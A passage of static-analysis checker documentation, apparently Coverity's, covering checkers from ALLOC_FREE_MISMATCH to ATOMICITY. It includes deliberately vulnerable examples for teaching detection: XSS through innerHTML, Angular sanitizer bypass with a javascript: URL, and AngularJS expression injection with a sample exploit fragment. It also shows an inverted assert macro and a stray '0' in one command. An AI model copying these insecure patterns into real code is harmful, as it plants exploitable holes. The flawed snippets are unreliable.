4.328. UNSAFE_DESERIALIZATION	743
4.329. UNSAFE_JNI	749
4.330. UNSAFE_NAMED_QUERY	751

4.331. UNSAFE_REFLECTION	752
4.332. UNSAFE_SESSION_SETTING	756
4.333. UNSAFE_XML_PARSE_CONFIG	757
4.334. UNUSED_VALUE	760
4.335. URL_MANIPULATION	764
4.336. USE_AFTER_FREE	771
4.337. USELESS_CALL	776
4.338. USER_POINTER	781
4.339. VARARGS	783
4.340. VCALL_IN_CTOR_DTOR	784
4.341. VERBOSE_ERROR_REPORTING	786
4.342. VIRTUAL_DTOR	786
4.343. VOID_FUNCTION_WITHOUT_SIDE_EFFECT	789
4.344. VOLATILE_ATOMIcity	790
4.345. VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE	793
4.346. WEAK_BIOMETRIC_AUTH	793
4.347. WEAK_GUARD	794
4.348. WEAK_PASSWORD_HASH	798
4.349. WEAK_URL_SANITIZATION	806
4.350. WEAK_XML_SCHEMA	807
4.351. WRAPPER_ESCAPE	808
4.352. WRITE_CONST_FIELD	811
4.353. WRONG_METHOD	812
4.354. XML_EXTERNAL_ENTITY	813
4.355. XML_INJECTION	819
4.356. XPATH_INJECTION	821
4.357. XSS	829
4.358. Y2K38_SAFETY	836

4.1. ALLOC_FREE_MISMATCH

Quality Checker

4.1.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`ALLOC_FREE_MISMATCH` reports many cases where a resource is allocated with a dedicated allocation function, and there is an associated dedicated freeing function, but instead a different freeing function was called. When a resource can be allocated in multiple incompatible ways, the C and C++ type systems cannot enforce correct API usage. Incorrect API usage can lead to memory leaks or memory corruption.

Enabled by default: `ALLOC_FREE_MISMATCH` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.1.2. Examples

This section provides one or more `ALLOC_FREE_MISMATCH` examples.

```
void mixedNewAndFree() {
    int *x = new int;
    free(x); // should use 'delete x'
}

// MS Windows API
HINTERNET hConn = InternetOpenUrl(hSession, url, headers, \
    length, flags, context);
CloseHandle(hConn); // should use 'InternetCloseHandle(hConn)'
```

4.1.3. Models

Custom allocators can be modeled by using the `__coverity_mark_as_afm_allocated__` and `__coverity_mark_as_afm_freed__` primitives, which are used exclusively by `ALLOC_FREE_MISMATCH`. Each accepts a handle/pointer parameter and a common string (usually the name of the deallocator) that indicates the pairing; for example:

```
// myalloc() and myfree() are paired
void* myalloc() {
    void *p;
    __coverity_mark_as_afm_allocated__(p, "myfree");
    return p;
}
void myfree(void *p) {
    __coverity_mark_as_afm_freed__(p, "myfree");
}
void test1() {
    void *p = myalloc();
    myfree(p); // no bug
    p = myalloc();
    free(p); // bug
}

// arena_alloc() returns memory that should not be freed
void* arena_alloc(arena_t *a, size_t n) {
    void *p;
    __coverity_mark_as_afm_allocated__(p, "bogus string");
    return p;
}
```

4.1.4. Events

This section describes one or more events produced by the `ALLOC_FREE_MISMATCH` checker.

- `alloc` - An allocator returns a resource.
- `free` - The resource was freed using an incorrect deallocator.

4.2. ANDROID_CAPABILITY_LEAK

Android Security Checker

4.2.1. Overview

Supported Languages: Java, Kotlin

The `ANDROID_CAPABILITY_LEAK` checker reports a defect when Android app code exposes an Android capability without checking the calling application's permissions to use that capability. The Android API level, targeted by the application, determines the required permissions. For more information, see Section 4.2.4, "Options". This might allow malware to access unintended capabilities (such as network or Bluetooth connectivity) or to perform privilege escalation attacks.

- **Disabled by default:** `ANDROID_CAPABILITY_LEAK` is disabled by default for Java. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Android checker enablement: To enable `ANDROID_CAPABILITY_LEAK` along with other Java Android checkers (non-security), use the `--android-security` option with the **cov-analyze** command.

- **Enabled by default:** `ANDROID_CAPABILITY_LEAK` is enabled by default for Kotlin.

4.2.2. Defect Anatomy

An `ANDROID_CAPABILITY_LEAK` defect is reported at an exposed application component method. The events will name the capability that was exposed and show a call that utilizes it. Another event will name the required permission that the method fails to check if its caller holds.

4.2.3. Examples

This section provides one or more `ANDROID_CAPABILITY_LEAK` examples.

4.2.3.1. Java

In the following example, the `onCreate()` method is an exposed application component method. It invokes `UserManager.getUserAccount()` which requires both the `android.permission.INTERACT_ACROSS_USERS_FULL` and `android.permission.MANAGE_USERS` permissions. This code checks the `android.permission.MANAGE_USERS` permission but it fails to check `android.permission.INTERACT_ACROSS_USERS_FULL`. A caller could access this capability without holding the permission for it.

```
public void onCreate(Bundle savedInstanceState)
    super.onCreate(savedInstanceState);
    enforceCallingOrSelfPermission(android.Manifest.permission.MANAGE_USERS,
    "Requires MANAGE_USERS");
    UserManager user = (UserManager) getSystemService(USER_SERVICE);
    String account = user.getUserAccount(1);
}
```

4.2.3.2. Kotlin

In the following example, the `onCreate()` method is an exposed application component method. It invokes `userManager.getUserAccount()` which requires both the `android.permission.INTERACT_ACROSS_USERS_FULL` and `android.permission.MANAGE_USERS` permissions. This code checks the `android.permission.MANAGE_USERS` permission but it fails to check `android.permission.INTERACT_ACROSS_USERS_FULL`. A caller could access this capability without holding the permission for it.

```
fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    enforceCallingOrSelfPermission(android.Manifest.permission.MANAGE_USERS, "Requires
MANAGE_USERS")
    val user = getSystemService(USER_SERVICE) as UserManager
    val account = user.getUserAccount(1)
}
```

4.2.4. Options

This section describes one or more `ANDROID_CAPABILITY_LEAK` options. You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `ANDROID_CAPABILITY_LEAK:default_targetSdk:<integer>` - This option sets which Android API level the application targets. This default will be used if `detect_targetSdk` is set to `false` or if auto-detection fails. Defaults to `ANDROID_CAPABILITY_LEAK:default_targetSdk:28`.
- `ANDROID_CAPABILITY_LEAK:detect_targetSdk:<boolean>` - This option sets whether the analysis will auto-detect Android API level the application targets. Defaults to `ANDROID_CAPABILITY_LEAK:detect_targetSdk:true`.

4.3. ANDROID_DEBUG_MODE

Android Security Checker

4.3.1. Overview

Supported Languages: Android configuration files

`ANDROID_DEBUG_MODE` reports a defect in an `AndroidManifest.xml` file when the application's debug mode is enabled by setting the `android:debuggable` attribute to `true`. Enabling the debug mode may allow an attacker to debug the internal state of the application and gain access to sensitive data and services.

Disabled by default: `ANDROID_DEBUG_MODE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

For Kotlin, `ANDROID_DEBUG_MODE` is enabled by default.

Android security checker enablement: To enable `ANDROID_DEBUG_MODE` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

4.3.2. Defect Anatomy

An `ANDROID_DEBUG_MODE` defect shows an Android application that has the debug mode enabled.

4.3.3. Examples

This section provides one or more `ANDROID_DEBUG_MODE` examples.

In the following example, the defect is reported when `debuggable` is set to `true`:

```
<application android:debuggable="true">
  <activity
    android:name=".TestActivity" >
    <intent-filter>
      <action android:name="android.intent.action.MAIN" />
      <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
  </activity>
</application>
```

The application's debug mode is enabled by setting the application's `android:debuggable` attribute to `true`.

4.4. ANDROID_WEBVIEW_FILEACCESS

4.4.1. Overview

Supported Languages: Java

The `ANDROID_WEBVIEW_FILEACCESS` checker finds cases where an Android application allows JavaScript code of files loaded through the `file:///` protocol to load other local files without maintaining the WebView's sandbox. If a malicious file is loaded into a WebView, it might then load a local file from another application containing sensitive information like configuration data, authentication tokens, etc., because same origin policy does not apply for such file loading. Thus, if a malicious application can load a malicious local file, or if a victim application has a vulnerability that allows loading a malicious file stored in shared storage, an attacker can then exfiltrate sensitive data from the device.

This checker is an Audit Mode checker and it flags the insecure setting that allows same origin policy bypass through the file access described above. However, each such configuration should be audited to determine if the application is actually vulnerable.

The `ANDROID_WEBVIEW_FILEACCESS` checker is disabled by default; you can enable it using the `--android-security` flag to the `cov-analyze` command.

4.4.2. Examples

This section provides one or more `ANDROID_WEBVIEW_FILEACCESS` examples.

In the following example, an `ANDROID_WEBVIEW_FILEACCESS` defect is displayed for the `webSettings.setAllowUniversalAccessFromFileURLs(true)` call, as it enables JavaScript running in the context of a file scheme URL loaded in the `WebView` to access content from any origin.

```
import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;

public class AndroidWebviewFileAccess extends Activity {

    @Override
    protected void onCreate(Bundle myState) {
        super.onCreate(myState);

        WebView webBrowser = null;
        webBrowser = new WebView(this);

        WebSettings webSettings = webBrowser.getSettings();
        webSettings.setAllowUniversalAccessFromFileURLs(true); //defect
    }
}
```

4.5. ANGULAR_BYPASS_SECURITY

Security Checker

4.5.1. Overview

Supported Languages: JavaScript, TypeScript

`ANGULAR_BYPASS_SECURITY` reports calls to the `bypassSecurityTrust*` functions from the Angular `DomSanitizer` API. These functions bypass Angular's automatic escaping and sanitization. Uses of these calls should be audited to ensure that the data entering these calls is safe or properly escaped for the context in which they are used.

Disabled by default: `ANGULAR_BYPASS_SECURITY` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

To enable `ANGULAR_BYPASS_SECURITY` along with other audit mode checkers, use the `--enable-audit-mode` option.

4.5.2. Defect Anatomy

An `ANGULAR_BYPASS_SECURITY` defect marks the call to one of the `bypassSecurityTrust...` functions.

4.5.3. Examples

This section provides one or more `ANGULAR_BYPASS_SECURITY` examples.

4.5.3.1. TypeScript

Assume that `trustedUrl` is bound to an `href` element of a page link. The following code demonstrates how `bypassSecurityTrustUrl` can allow for arbitrary JavaScript to be embedded in the link. The defect is flagged on the call to `sanitizer.bypassSecurityTrustUrl(this.dangerousUrl)`.

```
export class ExampleComponent {
  dangerousUrl: string;
  trustedUrl: SafeUrl;

  constructor(private sanitizer: DomSanitizer) {
    this.dangerousUrl = 'javascript:alert("Hi there")';
    this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
  }
}
```

4.6. ANGULAR_ELEMENT_REFERENCE

Security Checker

4.6.1. Overview

Supported Languages: JavaScript, TypeScript

`ANGULAR_ELEMENT_REFERENCE` reports uses of the `ElementRef` API where the underlying DOM element is accessed and used in a sensitive way. Accessing DOM elements directly can make your application more vulnerable to XSS defects. Make sure the use of `ElementRef` is necessary, and then audit the uses of this function to verify that untrusted data is sanitized or filtered before being written to the DOM.

Disabled by default: `ANGULAR_ELEMENT_REFERENCE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

To enable `ANGULAR_ELEMENT_REFERENCE` along with other audit mode checkers, use the `--enable-audit-mode` option.

4.6.2. Defect Anatomy

An `ANGULAR_ELEMENT_REFERENCE` defect is reported for a call to `ElementRef.nativeElement` where the element's `innerHTML` attribute is written or `querySelector` is called on the element.

4.6.3. Examples

This section provides one or more `ANGULAR_ELEMENT_REFERENCE` examples.

4.6.3.1. TypeScript

Using `ElementRef.nativeElement` allows for direct access to `innerHTML`, bypassing the Angular's built-in escaping and sanitation. In the example below, a request parameter is written directly to the DOM resulting in an XSS vulnerability. The defect is reported for the last statement in the code below.

```
export class InnerHtmlBindingComponent {
  constructor(private route:ActivatedRoute, private el:ElementRef) {
  }

  public readSnippet () {
    this.route.queryParams.subscribe(params => {
      let snippet = params['snippet'];
      this.el.nativeElement.innerHTML = snippet;
    });
  }
}
```

4.7. ANGULAR_EXPRESSION_INJECTION

Security Checker

4.7.1. Overview

Supported Languages: JavaScript, TypeScript

`ANGULAR_EXPRESSION_INJECTION` reports a defect in code that uses an untrusted value as part of an AngularJS expression. Such code might allow an attacker to affect the application's behavior by manipulating the AngularJS expression.

Disabled by default: `ANGULAR_EXPRESSION_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `ANGULAR_EXPRESSION_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

4.7.2. Defect Anatomy

An `ANGULAR_EXPRESSION_INJECTION` defect shows a dataflow path by which untrusted (tainted) data makes its way into a value used as an AngularJS expression. The path starts at a source of untrusted data, such as a read of a URL property that an attacker might control (for example, `window.location.hash`) or a read of data from a different frame. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a

function call to the parameter of the called function. The final part of the path shows the data flowing into the value that is used as an AngularJS expression.

4.7.3. Examples

This section provides one or more `ANGULAR_EXPRESSION_INJECTION` examples.

```
<body ng-app="myAppModule" ng-controller="myController">

<script>
angular.module('myAppModule', [])
.controller('myController',
 ['$scope', '$location',
 function($scope, $location) {

    $scope.dangerous = function(value) {
      // This represents a dangerous method, belonging to the
      // scope. We do not want attackers to make
      // arbitrary calls to this method.
      console.log('called dangerous method with value: ' + value);
      alert('called dangerous method with value: ' + value)
    }

    // This is provided by the attacker through the location URL
    var untrustedExpression = $location.search().untrustedValue;

    // Passing the value "dangerous('payload')" allows calling
    // the dangerous method
    $scope.$eval(untrustedExpression);

  }
  ]);
</script>

</body>
```

Exploitation example: To make the AngularJS expression call the dangerous `Scope` method, append the following fragment to the page URL.

```
#!/?untrustedValue=dangerous('payload')
```

4.7.4. Options

This section describes one or more `ANGULAR_EXPRESSION_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `ANGULAR_EXPRESSION_INJECTION:distrust_all:<boolean>` - Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `ANGULAR_EXPRESSION_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:<boolean>` - When this option is set to `false`, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_cookie:true`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:<boolean>` - When this option is set to `false`, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_external:false`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:<boolean>` - When this option is set to `false`, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_html_element:true`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:<boolean>` - When this option is set to `false`, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_header:true`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:<boolean>` - When this option is set to `false`, the analysis does not trust data from the 'referer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_http_referer:false`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:<boolean>` - When this option is set to `false`, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_other_origin:false`.
- `ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to `false`, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_app:<boolean>` - Setting this option to `true` causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_privileged_app:<boolean>` - Setting this option to `false` causes the analysis to treat data as tainted

when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to

`ANGULAR_EXPRESSION_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.

- `ANGULAR_EXPRESSION_INJECTION:trust_mobile_same_app:<boolean>` - Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `ANGULAR_EXPRESSION_INJECTION:trust_mobile_user_input:<boolean>` - Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `ANGULAR_EXPRESSION_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

4.8. ANGULAR_SCE_DISABLED

4.8.1. Overview

Supported Languages: JavaScript, TypeScript

The `ANGULAR_SCE_DISABLED` checker finds cases where Strict Contextual Escaping (SCE) is explicitly disabled. SCE is a mode in which AngularJS requires data bindings to result in safe values used in a certain context. SCE is enabled by default in AngularJS versions ≥ 1.2 , but can be disabled manually.

The `ANGULAR_SCE_DISABLED` checker is disabled by default. You can enable it with the `webapp-security` option to the `cov-analyze` command.

4.8.2. Examples

This section provides one or more `ANGULAR_SCE_DISABLED` examples.

In the following example, an `ANGULAR_SCE_DISABLED` defect is displayed for disabling `$sce`, by setting `$sceProvider.enabled(false)`.

```
(function(angular) {
angular.module('sce', ['ngSanitize'])
  .config(function($sceProvider) { //defect#ANGULAR_SCE_DISABLED
    $sceProvider.enabled(false);
  })
  .controller('AppController', [
    function() {
      var self = this;
```

```
self.variable = '<span onmouseover="this.textContent=&quot;As $sceProvider  
is set to false you can see this ' + '&quot;">Hover over this text.</span>'  
  });  
})(window.angular);
```

4.9. ARRAY_VS_SINGLETON

Quality Checker

4.9.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

ARRAY_VS_SINGLETON reports some cases where a pointer to a single object is incorrectly treated like an array, which causes the program to access invalid memory. This results in either reading garbage/unintended values from memory or writing to unintended memory and corrupting it. ARRAY_VS_SINGLETON also reports cases where an array of base class objects is treated as an array of derived class objects.

Because the type systems in C/C++ do not distinguish between "pointer to one object" and "pointer to array of objects," it is easy to accidentally apply pointer arithmetic to a pointer that only points to a singleton object. ARRAY_VS_SINGLETON checker finds many cases of this error.

Enabled by default: ARRAY_VS_SINGLETON is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

4.9.2. Examples

This section provides one or more ARRAY_VS_SINGLETON examples.

The following example contains a defect, because arithmetic performed on the base class pointer assumes the objects are the size of the base class, but the original array has objects that are the size of the derived class:

```
class Base {  
public:  
    int x;  
};  
  
class Derived : public Base {  
public:  
    int y;  
};  
  
void f(Base *b)  
{  
    b[1].x = 4;  
}
```

```
Derived arr[3];  
  
f(arr);    // Defect
```

The following example contains a defect pointer arithmetic using the `result` array:

```
void foo(char **result)  
{  
    *result = (char*)malloc(80);  
  
    if (...) {  
        strcpy(*result, "some result string");  
    }  
    else {  
        ...  
        result[79] = 0; // Should be "(*result)[79] = 0"  
    }  
}  
  
void bar()  
{  
    char *s;  
    foo(&s);           // Defect reported here  
}
```

4.9.3. Options

This section describes one or more `ARRAY_VS_SINGLETON` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `ARRAY_VS_SINGLETON:stat_cutoff:<integer>` - This option sets the value used by statistical analysis to filter defects. If a singleton pointer is passed to a function, but there are at least this many call sites in the code base where the address of something is passed to that same function (in the same argument position), then no defect is reported. Increasing this value will cause more defects to be reported, and usually more of them will be false positives. Defaults to `ARRAY_VS_SINGLETON:stat_cutoff:10`

4.9.4. Events

This section describes one or more events produced by the `ARRAY_VS_SINGLETON` checker.

- `derived_to_base` - A derived-to-base pointer conversion created a singleton.
- `new_object` - The singleton form of new created a singleton.
- `address_of` - Taking the address of something created a singleton.
- `assign` - A singleton pointer was assigned to a variable.

- `callee_ptr_arith` - A singleton pointer was passed to a function that performs pointer arithmetic on it. This event includes a link to a model.

4.10. ASPNET_MVC_VERSION_HEADER

Security Checker

4.10.1. Overview

Supported Languages: C#, Visual Basic

`ASPNET_MVC_VERSION_HEADER` reports defects where an overrider of the method `System.Web.HttpApplication.Application_Start` does not set `MvcHandler.DisableMvcResponseHeader` to `true` or call a method that does. The `X-AspNetMvc-Version` header in ASP.NET web applications reveals information about the specific version of ASP.NET MVC that is running on the target system, which makes it vulnerable to attacks. The defect can be fixed by setting `MvcHandler.DisableMvcResponseHeader` to `true` in the method `Application_Start`.

Disabled by default: `ASPNET_MVC_VERSION_HEADER` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `ASPNET_MVC_VERSION_HEADER` along with other Web application checkers, use the `--webapp-security` option.

4.10.2. Defect Anatomy

`ASPNET_MVC_VERSION_HEADER` defects have a single event that identifies an unsafe security setting in the source code.

4.10.3. Examples

This section provides one or more `ASPNET_MVC_VERSION_HEADER` examples.

4.10.3.1. C#

The following code sample illustrates different cases where defects are found: `Test1` and `Test2` do not produce defects; `Test3` produces a defect. `Test4` does not produce a defect because the `Application_Start` function can set `MvcHandler.DisableMvcResponseHeader` in its callee.

```
public class Test1 : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        MvcHandler.DisableMvcResponseHeader = false;
    }
}
```

```
public class Test2 : System.Web.HttpApplication
{
    protected void Application_Start()
    {
        MvcHandler.DisableMvcResponseHeader = true;
    }
}

public class Test3 : System.Web.HttpApplication
{
    protected void Application_Start() // Defect here.
    {
    }
}

public class Test4 : System.Web.HttpApplication
{
    void start() {
        MvcHandler.DisableMvcResponseHeader = true;
    }

    protected void Application_Start()
    {
        start();
    }
}
```

4.10.3.2. Visual Basic

The following code illustrates a safe and an unsafe ASP.NET Web Application. This checker reports a defect in the latter.

```
Imports System
Imports System.Web
Imports System.Web.Mvc

Class SafeApp
    Inherits System.Web.HttpApplication

    Private Sub StartApplication(sender As object, e As EventArgs)
        MvcHandler.DisableMvcResponseHeader = true
    End Sub
End Class

Class UnsafeApp
    Inherits System.Web.HttpApplication

    Sub Application_Start(sender As object, e As EventArgs)
        ' Fail to set DisableMvcResponseHeader
    End Sub
End Class
```

End Class

4.11. ASSERT_SIDE_EFFECT

Quality Checker

4.11.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

ASSERT_SIDE_EFFECT reports some cases where an expression that has a side effect is used as the condition expression of an assertion. That is dangerous because assertions are often compiled away in a production build, which means that the program behaves differently in debug mode (with assertions present) than in production mode.

The C Standard Library uses conditional compilation to define the `assert()` macro. Its definition typically takes the form:

```
#ifndef NDEBUG
#define assert(x) 1
#else
#define assert(x) if(!(x)) abort("some error message")
#endif
```

The `NDEBUG` macro, normally defined only for non-debug builds, controls whether the parameter to `assert()` is evaluated. The nonevaluation aspect of non-debug builds is an important feature of `assert()` because it allows the programmer to include potentially expensive validations in the debug build without incurring overhead in the non-debug build.

If, however, the parameter to `assert()` modifies the program state (for example, by incrementing a variable) the modification occurs in debug builds but not in non-debug builds. This can cause bugs that are difficult to detect and fix.

The `ASSERT_SIDE_EFFECT` checker looks for certain modifications (side effects) in the boolean expression that is the first argument to `assert()`. The side effects are caused by:

- An assignment (for example, `=`, `+=`, `-=`, or `<<=`).
- Increments and decrements (for example, `++` or `--`).
- Modification to the heap (for example, `Assert(new xxx)`).
- A call to a function that has a side effect. You can specify such functions with the `distrust_functions` option. The analysis does not detect them automatically.

Also, reading a variable that has storage class `volatile` may have a side effect, for example, if the variable is a device register that reacts to reads. In addition, `volatile` variables may change their values independently of the executing thread, so they are unreliable as components of an `assert` expression.

For the `ASSERT_SIDE_EFFECT` checker to find defects, make sure that `NDEBUG` is not defined, thus enabling the debug branch of the conditional compilation.

A common programming practice is to define custom macros that have the same form and function as `assert`, but using different names and implementations. `ASSERT_SIDE_EFFECT` can check those macros as well if you use the `macro_name_has` option. Because a custom macro uses its own version of `NDEBUG`, that macro must be defined, set, or undefined in whatever enables expansion of the non-debug version of the custom macro.

Enabled by default: `ASSERT_SIDE_EFFECT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.11.2. Examples

This section provides one or more `ASSERT_SIDE_EFFECT` examples.

In the following example, incrementing `x` with `assert(++x)` may cause changes in program behavior between the debug and non-debug builds:

```
#include<assert.h>
int ciabello() {
    int x;
    assert(++x);    // Defect
}
```

4.11.3. Options

This section describes one or more `ASSERT_SIDE_EFFECT` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `ASSERT_SIDE_EFFECT:distrust_functions:<boolean>` - When this option is set to `true`, the checker treats any function call as potentially having a side effect. Consequently, any use of a recognized `assert` macro with a function call in its condition will be reported as a defect. By default, the checker ignores function calls in `assert` macros when looking for defects. Defaults to `ASSERT_SIDE_EFFECT:distrust_functions:false`
- `ASSERT_SIDE_EFFECT:macro_name_has:<regex>` - C and C++ option that accepts a regular expression (Perl syntax) to expand the set of recognized `assert` macros. You can specify more than one of these options on the command line. Defaults to `ASSERT_SIDE_EFFECT:macro_name_has:[Aa]ssert|ASSERT`

Use this option if you have asserts with names that do not contain `assert`, `ASSERT`, or `Assert`.

Example:

```
> cov-analyze --checker-option ASSERT_SIDE_EFFECT:macro_name_has:FORCE
```

treats any macro that contains the string `FORCE` as an `assert` macro.

- `ASSERT_SIDE_EFFECT:macro_name_lacks:<regex>` - C and C++ option that accepts a regular expression (Perl syntax) to restrict the set of recognized `assert` macros, even if the macro name

matches a `macro_name_has` option (including the defaults). You can specify more than one of these options on the command line. Default is unset.

Example:

```
> cov-analyze 0
  --checker-option ASSERT_SIDE_EFFECT:macro_name_lacks:^HighLevelAssert$
  --checker-option 'ASSERT_SIDE_EFFECT:macro_name_has:.*LevelAssert$'
```

means that the only macros considered by `ASSERT_SIDE_EFFECT` are those that end with `LevelAssert`, except for `HighLevelAssert`. The single quotes are used in the command line to tell the shell not to use the `*` for filename expansion.

4.11.4. Events

This section describes one or more events produced by the `ASSERT_SIDE_EFFECT` checker.

- `assert_side_effect`: Argument of `assert` has a side effect.
- `assignment_where_compare_intended`: Assignment is a use of `=` where `==` may have been intended.

4.12. ASSIGN_NOT_RETURNING_STAR_THIS

Quality, Rule Checker

4.12.1. Overview

Supported Languages: C++

`ASSIGN_NOT_RETURNING_STAR_THIS` reports many cases of assignment operator member functions that do not return the receiving object, `*this`, as a reference to a non-const object. The consequence is that the operator cannot be used the same way the built-in operators are, and in some cases, attempting to do so will lead to subtle logic errors.

Built-in and compiler-generated assignment operators evaluate to the assignee object, so for consistency all user-written assignment operators should do the same. The checker only considers assignment operators that can be used to assign entire objects and excludes private operators, on the assumption that they are not intended to be used. The `ASSIGN_NOT_RETURNING_STAR_THIS` checker reports different categories of problems:

- The assignment operator is declared to return a different type, such as `void` or any type other than the containing class type.
- The assignment operator is declared to return the correct type but either by value or as a reference to `const`.
- The assignment operator is declared to return the correct type but the object returned in the body of the function is not `*this`.

Disabled by default: `ASSIGN_NOT_RETURNING_STAR_THIS` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

4.12.2. Examples

This section provides one or more `ASSIGN_NOT_RETURNING_STAR_THIS` examples.

A simple integer wrapper class:

```
class MyInteger {
    int i;
public:
    MyInteger(int ii = 0) : i(ii) {}
    // wrong return type
    void operator=(const MyInteger &rhs)
    {
        if (this != &rhs) {
            i = rhs.i;
        }
    }
}
```

This will not allow you to write the following:

```
MyInteger a, b;
// ...
a = b = 42;
```

as is common practice with built-in types.

The following is closer, but still not right:

```
...
MyInteger operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    // returning the right object, but by value
    return *this;
}
```

or

```
...
const MyInteger &operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    // returning a reference to const
}
```

```
    return *this;
}
```

Lastly, the return type may be entirely correct but the function may return the wrong object (that is, anything other than `*this`):

```
...
// the exactly correct return type
MyInteger &operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    return rhs; // should be *this (i.e., "lhs")
}
```

4.12.3. Events

This section describes one or more events produced by the `ASSIGN_NOT_RETURNING_STAR_THIS` checker.

- `assign_returning_void` - The declared return type of an assignment operator is `void`.
- `assign_returning_incorrect_type` - The declared non-void return type of an assignment operator is not the containing class type.
- `assign_returning_const` - The declared return type of an assignment operator is correct except that it is a reference to `const`.
- `assign_returning_by_value` - The declared return type of an assignment operator is correct except that it is by value rather than as a reference.
- `assign_returning_incorrect_value` - An assignment operator is returning an object other than `*this`.
- `assign_indirectly_returning_star_this` - An assignment operator is returning the result of calling another member function which returns `*this`.

4.13. ATOMICITY

Quality Checker, Concurrency Checker

4.13.1. Overview

Supported Languages: C, C++, Go, Java, Objective-C, Objective-C++

`ATOMICITY` reports some cases where the code contains two critical sections in sequence, but it appears that they should be merged into a single critical section because the latter uses data computed

in the former, but the data might possibly be invalidated in between. This is a form of concurrent race condition.

For C/C++, this checker finds a class of defects in which a critical section is not sized sufficiently to protect a variable. For example, assume that individual reads and writes are protected by locks but that the entire operation is not protected. Such a case can result in inconsistent results.

For Java, this checker examines cases where a value, *v*, is defined in a critical section. If *v* flows into another critical section (which uses the same lock that was used when *v* was defined) where *v* is used, the checker reports a defect. This checker tracks critical sections defined by synchronized methods, synchronized blocks, and `java.util.concurrent.locks.Lock` objects.

C, C++, Go, Objective-C, Objective-C++:

- **Disabled by default:** `ATOMICITY` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

